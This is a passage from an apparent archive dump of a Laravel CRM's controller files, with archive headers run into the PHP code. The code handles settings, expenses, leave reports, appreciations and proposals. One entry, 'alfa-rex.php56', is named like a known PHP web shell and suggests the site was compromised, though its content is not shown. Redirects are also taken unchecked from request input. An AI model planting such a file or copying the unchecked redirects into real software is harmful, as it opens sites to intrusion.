$this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_push == 'yes'; })->count(); $this->view = 'notification-settings.ajax.push-notification-setting'; break; case 'pusher-setting': $this->view = 'notification-settings.ajax.pusher-setting'; break; default: $this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_email == 'yes'; })->count(); $this->smtpSetting = SmtpSetting::first(); try { $this->smtpSetting->mail_password; }catch (DecryptException $e){ // when we get message like below set password as null or o // The MAC is invalid. // The payload is invalid. $this->smtpSetting->mail_password = null; $this->smtpSetting->save(); } $this->view = 'notification-settings.ajax.email-setting'; break; } $this->activeTab = $tab ?: 'email-setting'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('notification-settings.index', $this->data); } } Http/Controllers/SettingsController.php000064400000003024150325104510014341 0ustar00pageTitle = 'app.menu.accountSettings'; $this->activeSettingMenu = 'company_settings'; $this->middleware(function ($request, $next) { return user()->permission('manage_company_setting') !== 'all' ? redirect()->route('profile-settings.index') : $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function index() { return view('company-settings.index', $this->data); } // phpcs:ignore public function update(UpdateOrganisationSettings $request, $id) { $setting = \company(); $setting->company_name = $request->company_name; $setting->company_email = $request->company_email; $setting->company_phone = $request->company_phone; $setting->website = $request->website; $setting->save(); return Reply::success(__('messages.updateSuccess')); } // Remove in v 5.2.5 public function hideWebhookAlert() { $this->company->show_new_webhook_alert = false; $this->company->saveQuietly(); session()->forget('company'); return Reply::success('Webohook alert box has been removed permanently'); } } Http/Controllers/TimeLogSettingController.php000064400000004746150325104510015453 0ustar00pageTitle = 'app.menu.timeLogSettings'; $this->activeSettingMenu = 'timelog_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_time_log_setting') == 'all' && in_array('timelogs', user_modules()))); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index() { $this->data['logTime'] = LogTimeFor::first(); $this->time = $this->data['logTime']->time ? Carbon::createFromFormat('H:i:s', $this->data['logTime']->time)->format(company()->time_format) : ''; $this->roles = Role::where('name', '<>', 'client')->get(); $this->dailyReportRoles = json_decode($this->data['logTime']->daily_report_roles); return view('log-time-settings.index', $this->data); } /** * @param UpdateTimeLog $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(UpdateTimeLog $request) { $logTime = LogTimeFor::first(); if ($request->has('log_time_for')) { $logTime->log_time_for = $request->log_time_for; } if ($request->has('auto_timer_stop')) { $logTime->auto_timer_stop = $request->auto_timer_stop; } if ($request->has('approval_required')) { $logTime->approval_required = $request->approval_required; } if ($request->has('tracker_reminder') && $request->time) { $logTime->tracker_reminder = $request->tracker_reminder; $logTime->time = Carbon::createFromFormat($this->company->time_format, $request->time)->format('H:i:s'); } if ($request->has('timelog_report')) { $logTime->timelog_report = $request->timelog_report; $logTime->daily_report_roles = json_encode($request->daily_report_roles); } $logTime->save(); session()->forget('time_log_setting'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/MessageSettingController.php000064400000002754150325104510015474 0ustar00pageTitle = 'app.menu.messageSettings'; $this->activeSettingMenu = 'message_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_message_setting') == 'all' && in_array('messages', user_modules()))); return $next($request); }); } public function index() { $this->messageSettings = message_setting(); return view('message-settings.index', $this->data); } public function update(Request $request, $id) { $setting = MessageSetting::findOrFail($id); if ($request->allow_client_admin) { $setting->allow_client_admin = 'yes'; } else { $setting->allow_client_admin = 'no'; } if ($request->allow_client_employee) { $setting->allow_client_employee = 'yes'; } else { $setting->allow_client_employee = 'no'; } $setting->restrict_client = $request->restrict_client; $setting->send_sound_notification = $request->send_sound_notification; $setting->save(); session()->forget('message_setting'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/alfa-rex.php56000064400000026574150325104510012366 0ustar00Http/Controllers/RecurringExpenseController.php000064400000034043150325104510016036 0ustar00pageTitle = 'app.menu.expensesRecurring'; $this->middleware(function ($request, $next) { abort_403(!in_array('expenses', $this->user->modules)); return $next($request); }); } public function index(RecurringExpensesDataTable $dataTable) { $viewPermission = user()->permission('view_expenses'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->employees = User::allEmployees(); $this->projects = Project::allProjects(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); } return $dataTable->render('recurring-expenses.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('manage_recurring_expense'); abort_403(!in_array($this->addPermission, ['all'])); $this->currencies = Currency::all(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); $this->projects = Project::all(); $this->pageTitle = __('modules.expensesRecurring.addExpense'); $this->projectId = request('project_id') ? request('project_id') : null; if (!is_null($this->projectId)) { $employees = Project::with('projectMembers')->where('id', $this->projectId)->first(); $this->employees = $employees->projectMembers; } else { $this->employees = User::allEmployees(); } $expense = new Expense(); $getCustomFieldGroupsWithFields = $expense->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->linkExpensePermission = user()->permission('link_expense_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; if (request()->ajax()) { $html = view('recurring-expenses.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'recurring-expenses.ajax.create'; return view('expenses.show', $this->data); } /** * Store a newly created resource in storage. * * @param StoreRecurringExpense $request * @return \Illuminate\Http\Response */ public function store(StoreRecurringExpense $request) { $expenseRecurring = new ExpenseRecurring(); $expenseRecurring->item_name = $request->item_name; $expenseRecurring->price = round($request->price, 2); $expenseRecurring->currency_id = $request->currency_id; $expenseRecurring->category_id = $request->category_id; $expenseRecurring->user_id = $request->user_id; $expenseRecurring->status = $request->status; $expenseRecurring->rotation = $request->rotation; $expenseRecurring->billing_cycle = $request->billing_cycle > 0 ? $request->billing_cycle : null; $expenseRecurring->unlimited_recurring = $request->billing_cycle < 0 ? 1 : 0; $expenseRecurring->description = trim_editor($request->description); $expenseRecurring->created_by = $this->user->id; $expenseRecurring->purchase_from = $request->purchase_from; $expenseRecurring->issue_date = !is_null($request->issue_date) ? companyToYmd($request->issue_date) : now()->format('Y-m-d'); if ($request->project_id > 0) { $expenseRecurring->project_id = $request->project_id; } if ($request->hasFile('bill')) { $filename = Files::uploadLocalOrS3($request->bill, Expense::FILE_PATH); $expenseRecurring->bill = $filename; } $expenseRecurring->immediate_expense = ($request->immediate_expense) ? 1 : 0; $expenseRecurring->bank_account_id = $request->bank_account_id; $expenseRecurring->status = 'active'; $expenseRecurring->save(); if($request->immediate_expense){ $currency = Currency::where('id', $request->currency_id)->first(); $expense = new Expense(); $expense->expenses_recurring_id = $expenseRecurring->id; $expense->category_id = $request->category_id; $expense->project_id = $request->project_id; $expense->currency_id = $request->currency_id; $expense->user_id = $request->user_id; $expense->created_by = $expenseRecurring->created_by; $expense->item_name = $request->item_name; $expense->description = $request->description; $expense->price = $request->price; $expense->default_currency_id = company()->currency_id; $expense->exchange_rate = $currency->exchange_rate; $expense->purchase_from = $request->purchase_from; $expense->purchase_date = now()->format('Y-m-d'); $expense->bank_account_id = $expenseRecurring->bank_account_id; $expense->status = 'approved'; $expense->save(); if ($request->custom_fields_data) { $expense->updateCustomFieldData($request->custom_fields_data); } } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('recurring-expenses.show', $expenseRecurring->id); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->expense = ExpenseRecurring::with('recurrings')->findOrFail($id); $this->exp = Expense::where('expenses_recurring_id', $id)->first(); if($this->exp) { $this->exp = $this->exp->withCustomFields(); $getCustomFieldGroupsWithFields = $this->exp->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } $this->daysOfWeek = [ '1' => 'sunday', '2' => 'monday', '3' => 'tuesday', '4' => 'wednesday', '5' => 'thursday', '6' => 'friday', '7' => 'saturday' ]; $tab = request('tab'); switch ($tab) { case 'expenses': return $this->expenses($id); default: $this->view = 'recurring-expenses.ajax.show'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'overview'; return view('recurring-expenses.show', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->addPermission = user()->permission('manage_recurring_expense'); abort_403(!in_array($this->addPermission, ['all'])); $this->expense = ExpenseRecurring::findOrFail($id); $this->currencies = Currency::all(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); $this->pageTitle = __('modules.expensesRecurring.addExpense'); $this->projectId = request('project_id') ? request('project_id') : null; $this->linkExpensePermission = user()->permission('link_expense_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->exp = Expense::where('expenses_recurring_id', $id)->first(); if($this->exp) { $this->exp = $this->exp->withCustomFields(); $getCustomFieldGroupsWithFields = $this->exp->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $this->expense->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $userId = $this->expense->user_id; if (!is_null($userId)) { $this->projects = Project::with('members')->whereHas('members', function ($q) use ($userId) { $q->where('user_id', $userId); })->get(); } else { $this->projects = Project::get(); } if (!is_null($this->projectId)) { $employees = Project::with('projectMembers')->where('id', $this->projectId)->first(); $this->employees = $employees->projectMembers; } else { $this->employees = User::allEmployees(); } $this->view = 'recurring-expenses.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('expenses.show', $this->data); } /** * Update the specified resource in storage. * * @param StoreRecurringExpense $request * @param int $id * @return \Illuminate\Http\Response */ public function update(StoreRecurringExpense $request, $id) { $expense = ExpenseRecurring::findOrFail($id); if($request->expense_count == 0) { $expense->item_name = $request->item_name; $expense->price = round($request->price, 2); $expense->currency_id = $request->currency_id; $expense->category_id = $request->category_id; $expense->user_id = $request->user_id; $expense->rotation = $request->rotation; $expense->billing_cycle = $request->billing_cycle > 0 ? $request->billing_cycle : null; $expense->unlimited_recurring = $request->billing_cycle < 0 ? 1 : 0; $expense->description = trim_editor($request->description); $expense->purchase_from = $request->purchase_from; $expense->bank_account_id = $request->bank_account_id; if(!is_null($request->issue_date)){ $expense->issue_date = companyToYmd($request->issue_date); } if ($request->project_id > 0) { $expense->project_id = $request->project_id; } if ($request->hasFile('bill')) { $filename = Files::uploadLocalOrS3($request->bill, Expense::FILE_PATH); $expense->bill = $filename; } $expense->save(); } else { if (request()->has('status')) { $expense->status = $request->status; } $expense->save(); } $this->exp = Expense::where('expenses_recurring_id', $id)->first(); if($this->exp) { $this->exp = $this->exp->withCustomFields(); if ($request->custom_fields_data) { $this->exp->updateCustomFieldData($request->custom_fields_data); } } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('recurring-expenses.show', $expense->id); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->expense = ExpenseRecurring::findOrFail($id); $this->deletePermission = user()->permission('delete_expenses'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->expense->added_by == user()->id))); ExpenseRecurring::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function expenses($recurringID) { $dataTable = new ExpensesDataTable(); $viewPermission = user()->permission('view_expenses'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->recurringID = $recurringID; $this->expense = ExpenseRecurring::findOrFail($recurringID); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'recurring-expenses.ajax.expenses'; return $dataTable->render('recurring-expenses.show', $this->data); } public function changeStatus(Request $request) { $expenseId = $request->expenseId; $status = $request->status; $expense = ExpenseRecurring::findOrFail($expenseId); $expense->status = $status; $expense->save(); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/GanttLinkController.php000064400000002611150325104510014435 0ustar00type = $request->type; $link->project_id = $request->project; $link->source = $request->source; $link->target = $request->target; $link->save(); return response()->json([ 'action' => 'inserted', 'tid' => $link->id ]); } public function update($id, Request $request) { $link = GanttLink::find($id); $link->type = $request->type; $link->source = $request->source; $link->target = $request->target; $link->save(); return response()->json([ 'action' => 'updated' ]); } public function destroy($id) { $link = GanttLink::find($id); $link->delete(); return response()->json([ 'action' => 'deleted' ]); } public function taskUpdateController() { Task::where('id', request()->id)->update(['start_date' => Carbon::parse(request()->start_date), 'due_date' => Carbon::parse(request()->end_date)->subDay()]); return response()->json([ 'action' => 'updated' ]); } } Http/Controllers/NotificationController.php000064400000002215150325104510015170 0ustar00userType = 'all'; if (in_array('client', user_roles())) { $this->userType = 'client'; } $view = view('notifications.user_notifications', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $view]); } public function all() { $this->pageTitle = __('app.newNotifications'); $this->userType = 'all'; if (in_array('client', user_roles())) { $this->userType = 'client'; } return view('notifications.all_user_notifications', $this->data); } public function markAllRead() { $this->user->unreadNotifications->markAsRead(); return Reply::success(__('messages.notificationRead')); } public function markRead(Request $request) { $this->user->unreadNotifications->where('id', $request->id)->markAsRead(); return Reply::dataOnly(['status' => 'success']); } } Http/Controllers/SearchController.php000064400000003506150325104510013753 0ustar00data); } /** * @param SearchRequest $request * @return array|string[]|void */ public function store(SearchRequest $request) { $module = $request->search_module; switch ($module) { case 'project': return Reply::redirect(route('projects.index') . '?search_keyword=' . $request->search_keyword); case 'ticket': return Reply::redirect(route('tickets.index') . '?search_keyword=' . $request->search_keyword); case 'invoice': return Reply::redirect(route('invoices.index') . '?search_keyword=' . $request->search_keyword); case 'notice': return Reply::redirect(route('notices.index') . '?search_keyword=' . $request->search_keyword); case 'task': return Reply::redirect(route('tasks.index') . '?search_keyword=' . $request->search_keyword); case 'creditNote': return Reply::redirect(route('creditnotes.index') . '?search_keyword=' . $request->search_keyword); case 'employee': return Reply::redirect(route('employees.index') . '?search_keyword=' . $request->search_keyword); case 'client': return Reply::redirect(route('clients.index') . '?search_keyword=' . $request->search_keyword); case 'estimate': return Reply::redirect(route('estimates.index') . '?search_keyword=' . $request->search_keyword); case 'lead': return Reply::redirect(route('deals.index') . '?search_keyword=' . $request->search_keyword); default: // Code... break; } } } Http/Controllers/LeaveReportController.php000064400000016044150325104510014777 0ustar00pageTitle = 'app.menu.leaveReport'; } public function index(LeaveReportDataTable $dataTable) { $viewPermission = user()->permission('view_leave_report'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->employees = User::allLeaveReportEmployees(null, true); $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone)->endOfMonth(); } return $dataTable->render('reports.leave.index', $this->data); } public function show(Request $request, $id) { $this->userId = $id; $view = $request->view; $this->leave_types = LeaveType::with(['leaves' => function ($query) use ($request, $id, $view) { if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $this->startDate = $request->startDate; $startDate = companyToDateString($request->startDate); $query->where(DB::raw('DATE(leaves.`leave_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $this->endDate = $request->endDate; $endDate = companyToDateString($request->endDate); $query->where(DB::raw('DATE(leaves.`leave_date`)'), '<=', $endDate); } switch ($view) { case 'pending': $query->where('status', 'pending')->where('user_id', $id); break; default: $query->where('status', 'approved')->where('user_id', $id); break; } }, 'leaves.type'])->get(); if (request()->ajax() && $view != '') { $this->view = 'reports.leave.ajax.show'; return $this->returnAjax($this->view); } return view('reports.leave.show', $this->data); } public function leaveQuota(LeaveQuotaReportDataTable $dataTable) { $viewPermission = user()->permission('view_leave_report'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->pageTitle = 'app.leaveQuotaReport'; if (!request()->ajax()) { $this->year = now()->format('Y'); $this->month = now()->format('m'); $this->employees = User::allLeaveReportEmployees(null, true); } return $dataTable->render('reports.leave-quota.index', $this->data); } public function employeeLeaveQuota($id, $year, $month) { $forMontDate = Carbon::createFromDate($year, $month, 1)->startOfDay(); $thisMonthStartDate = now()->startOfMonth(); $this->employee = User::with([ 'employeeDetail', 'employeeDetail.designation', 'employeeDetail.department', 'country', 'employee', 'roles' ]) ->onlyEmployee() ->when(!$thisMonthStartDate->eq($forMontDate), function($query) use($forMontDate) { $query->with([ 'leaveQuotaHistory' => function($query) use($forMontDate) { $query->where('for_month', $forMontDate); }, 'leaveQuotaHistory.leaveType', ])->whereHas('leaveQuotaHistory', function($query) use($forMontDate) { $query->where('for_month', $forMontDate); }); }) ->when($thisMonthStartDate->eq($forMontDate), function($query) { $query->with([ 'leaveTypes', 'leaveTypes.leaveType', ]); }) ->withoutGlobalScope(ActiveScope::class) ->findOrFail($id); $settings = company(); $now = Carbon::now(); $yearStartMonth = $settings->year_starts_from; $leaveStartDate = null; $leaveEndDate = null; if($settings && $settings->leaves_start_from == 'year_start'){ if ($yearStartMonth > $now->month) { // Not completed a year yet $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1)->subYear(); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } else { $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } } elseif ($settings && $settings->leaves_start_from == 'joining_date'){ $joiningDate = Carbon::parse($this->employee->employeedetails->joining_date->format((now(company()->timezone)->year) . '-m-d')); $joinMonth = $joiningDate->month; $joinDay = $joiningDate->day; if ($joinMonth > $now->month || ($joinMonth == $now->month && $now->day < $joinDay)) { // Not completed a year yet $leaveStartDate = $joiningDate->copy()->subYear(); $leaveEndDate = $joiningDate->copy()->subDay(); } else { // Completed a year $leaveStartDate = $joiningDate; $leaveEndDate = $joiningDate->copy()->addYear()->subDay(); } } $this->employeeLeavesQuotas = $this->employee->leaveTypes; $hasLeaveQuotas = false; $totalLeaves = 0; $overUtilizedLeaves = 0; $leaveCounts = []; $allowedEmployeeLeavesQuotas = []; // Leave Types Which employee can take according to leave type conditions foreach ($this->employeeLeavesQuotas as $key => $leavesQuota) { if ( ($leavesQuota->leaveType->deleted_at == null || $leavesQuota->leaves_used > 0) && $leavesQuota->leaveType && ($leavesQuota->leaveType->leaveTypeCondition($leavesQuota->leaveType, $this->employee))) { $hasLeaveQuotas = true; $allowedEmployeeLeavesQuotas[] = $leavesQuota; // $sum = ($leavesQuota->leaveType->deleted_at == null) ? $leavesQuota->leaves_remaining : 0; // $totalLeaves = $totalLeaves + ($leavesQuota?->no_of_leaves ?: 0) - ($leaveCounts[$leavesQuota->leave_type_id] ?: 0); $totalLeaves = $totalLeaves + ($leavesQuota?->leaves_remaining ?: 0); } } $this->leaveCounts = $leaveCounts; $this->hasLeaveQuotas = $hasLeaveQuotas; $this->allowedEmployeeLeavesQuotas = $allowedEmployeeLeavesQuotas; $this->allowedLeaves = $totalLeaves + $overUtilizedLeaves; // remining leaves return view('reports.leave-quota.show', $this->data); } } Http/Controllers/AppreciationController.php000064400000020145150325104510015162 0ustar00pageTitle = 'app.menu.appreciation'; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(AppreciationsDataTable $dataTable) { $viewPermission = user()->permission('view_appreciation'); $this->appreciations = Award::with('awardIcon')->get(); $this->employees = User::allEmployees(null, true, 'all'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); return $dataTable->render('appreciations.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_appreciation'); $this->viewPermission = user()->permission('view_appreciation'); abort_403($this->addPermission != 'all'); $this->employees = User::allEmployees(null, true, 'all'); $this->appreciationTypes = Award::with('awardIcon')->where('status', 'active')->get(); $this->pageTitle = __('modules.appreciations.appreciation'); $this->empID = request()->empid; $this->view = 'appreciations.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('appreciations.create', $this->data); } public function store(StoreRequest $request) { $this->addPermission = user()->permission('add_appreciation'); abort_403($this->addPermission != 'all'); $appreciation = new Appreciation(); $appreciation->award_id = $request->award; $appreciation->summary = trim_editor($request->summery); $appreciation->award_date = Carbon::createFromFormat($this->company->date_format, $request->award_date); $appreciation->award_to = $request->given_to; $appreciation->added_by = user()->id; if ($request->hasFile('photo')) { Files::deleteFile($appreciation->image, 'appreciation'); $appreciation->image = Files::uploadLocalOrS3($request->photo, 'appreciation'); } $appreciation->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('appreciations.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->appreciation = Appreciation::with('award')->findOrFail($id); $this->viewPermission = user()->permission('view_appreciation'); $this->pageTitle = __('app.menu.appreciation'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->appreciation->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->appreciation->award_to == user()->id) || ($this->viewPermission == 'both' && ($this->appreciation->added_by == user()->id || $this->appreciation->award_to == user()->id)) )); $this->view = 'appreciations.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('appreciations.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->editPermission = user()->permission('edit_appreciation'); $this->appreciation = Appreciation::findOrFail($id); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $this->appreciation->added_by == user()->id) || ($this->editPermission == 'owned' && $this->appreciation->award_to == user()->id) || ($this->editPermission == 'both' && ($this->appreciation->added_by == user()->id || $this->appreciation->award_to == user()->id)) )); $this->pageTitle = __('app.menu.appreciation'); $this->employees = User::allEmployees(null, false, 'all'); $activeEmployees = $this->employees->filter(function ($employee) { return $employee->status !== 'deactive'; }); $selectedEmployee = $this->employees->firstWhere('id', $this->appreciation->award_to); if ($selectedEmployee && $selectedEmployee->status === 'deactive') { $this->employees = $activeEmployees->push($selectedEmployee); } else { $this->employees = $activeEmployees; } $this->appreciationTypes = Award::with('awardIcon')->where('status', 'active')->get(); $this->view = 'appreciations.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('appreciations.create', $this->data); } public function update(UpdateRequest $request, $id) { $appreciation = Appreciation::findOrFail($id); $appreciation->award_id = $request->award; $appreciation->summary = trim_editor($request->summery); $appreciation->award_date = Carbon::createFromFormat($this->company->date_format, $request->award_date); $appreciation->award_to = $request->given_to; if ($request->photo_delete == 'yes') { Files::deleteFile($appreciation->image, 'appreciation'); $appreciation->image = null; } if ($request->hasFile('photo')) { Files::deleteFile($appreciation->image, 'appreciation'); $appreciation->image = Files::uploadLocalOrS3($request->photo, 'appreciation', 300); } $appreciation->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('appreciations.index'); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->appreciation = Appreciation::findOrFail($id); $this->deletePermission = user()->permission('delete_appreciation'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->appreciation->added_by == user()->id) || ($this->deletePermission == 'owned' && $this->appreciation->award_to == user()->id) || ($this->deletePermission == 'both' && ($this->appreciation->added_by == user()->id || $this->appreciation->award_to == user()->id)) )); Appreciation::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('appreciations.index')]); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { $deletePermission = user()->permission('delete_appreciation'); abort_403($deletePermission != 'all'); $item = explode(',', $request->row_ids); if (($key = array_search('on', $item)) !== false) { unset($item[$key]); } Appreciation::whereIn('id', $item)->delete(); } } Http/Controllers/ProposalController.php000064400000044516150325104510014353 0ustar00pageTitle = 'app.menu.proposal'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } public function index(ProposalDataTable $dataTable) { abort_403($this->sidebarUserPermissions['view_lead_proposals'] == 5); if (!request()->ajax()) { $this->leads = Lead::allLeads(); } return $dataTable->render('proposals.index', $this->data); } public function create() { $this->pageTitle = __('modules.proposal.createProposal'); $this->addPermission = user()->permission('add_lead_proposals'); $this->viewLeadPermission = user()->permission('view_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->taxes = Tax::all(); if (request('deal_id') != '') { $this->deal = Deal::findOrFail(request('deal_id')); } else { $leadContact = Lead::query(); if($this->viewLeadPermission == 'added') { $this->leadContacts = $leadContact->where('added_by', user()->id)->get(); } elseif($this->viewLeadPermission == 'both') { $this->leadContacts = $leadContact->where('added_by', user()->id) ->orWhere('lead_owner', user()->id)->get(); } elseif($this->viewLeadPermission == 'owned') { $this->leadContacts = $leadContact->where('lead_owner', user()->id)->get(); } elseif($this->viewLeadPermission == 'none') { $this->leadContacts = collect(); }elseif($this->viewLeadPermission == 'all') { $this->leadContacts = $leadContact->get(); } if (count($this->leadContacts) > 0) { $this->deals = Deal::allLeads($this->leadContacts[0]->id); } else { $this->deals = Deal::allLeads(); } } $this->units = UnitType::all(); $this->template = ProposalTemplate::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->currencies = Currency::all(); $this->invoiceSetting = invoice_setting(); $this->template = ProposalTemplate::all(); $this->proposalTemplate = request('template') ? ProposalTemplate::findOrFail(request('template')) : null; $this->proposalTemplateItem = request('template') ? ProposalTemplateItem::with('proposalTemplateItemImage')->where('proposal_template_id', request('template'))->get() : null; $this->view = 'proposals.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('proposals.create', $this->data); } public function store(StoreRequest $request) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } $lastProposal = Proposal::lastProposalNumber() + 1; $invoiceSetting = invoice_setting(); $zero = str_repeat('0', $invoiceSetting->proposal_digit - strlen($lastProposal)); $originalNumber = $zero . $lastProposal; $proposalNumber = $invoiceSetting->proposal_prefix . $invoiceSetting->proposal_number_separator . $zero . $lastProposal; $proposal = new Proposal(); $proposal->deal_id = $request->deal_id; $proposal->valid_till = companyToYmd($request->valid_till); $proposal->sub_total = $request->sub_total; $proposal->total = $request->total; $proposal->currency_id = $request->currency_id; $proposal->note = trim_editor($request->note); $proposal->discount = round($request->discount_value, 2); $proposal->discount_type = $request->discount_type; $proposal->status = 'waiting'; $proposal->signature_approval = ($request->require_signature) ? 1 : 0; $proposal->description = trim_editor($request->description); $proposal->proposal_number = $proposalNumber; $proposal->original_proposal_number = $originalNumber; $proposal->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('proposals.index'); } $this->logSearchEntry($proposal->id, $proposalNumber, 'proposals.show', 'proposal'); return Reply::redirect($redirectUrl, __('messages.recordSaved')); } public function show($id) { $this->viewLeadProposalsPermission = user()->permission('view_lead_proposals'); $this->invoice = Proposal::with('deal', 'items', 'unit', 'lead', 'items.proposalItemImage')->findOrFail($id); abort_403(!($this->viewLeadProposalsPermission == 'all' || ($this->viewLeadProposalsPermission == 'added' && $this->invoice->added_by == user()->id))); $this->pageTitle = $this->invoice->proposal_number; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } if($this->invoice->discount_type == 'percent') { $discountAmount = $this->invoice->discount; $this->discountType = $discountAmount.'%'; }else { $discountAmount = $this->invoice->discount; $this->discountType = currency_format($discountAmount, $this->invoice->currency_id); } $taxList = array(); $this->firstProposal = Proposal::orderBy('id', 'desc')->first(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / 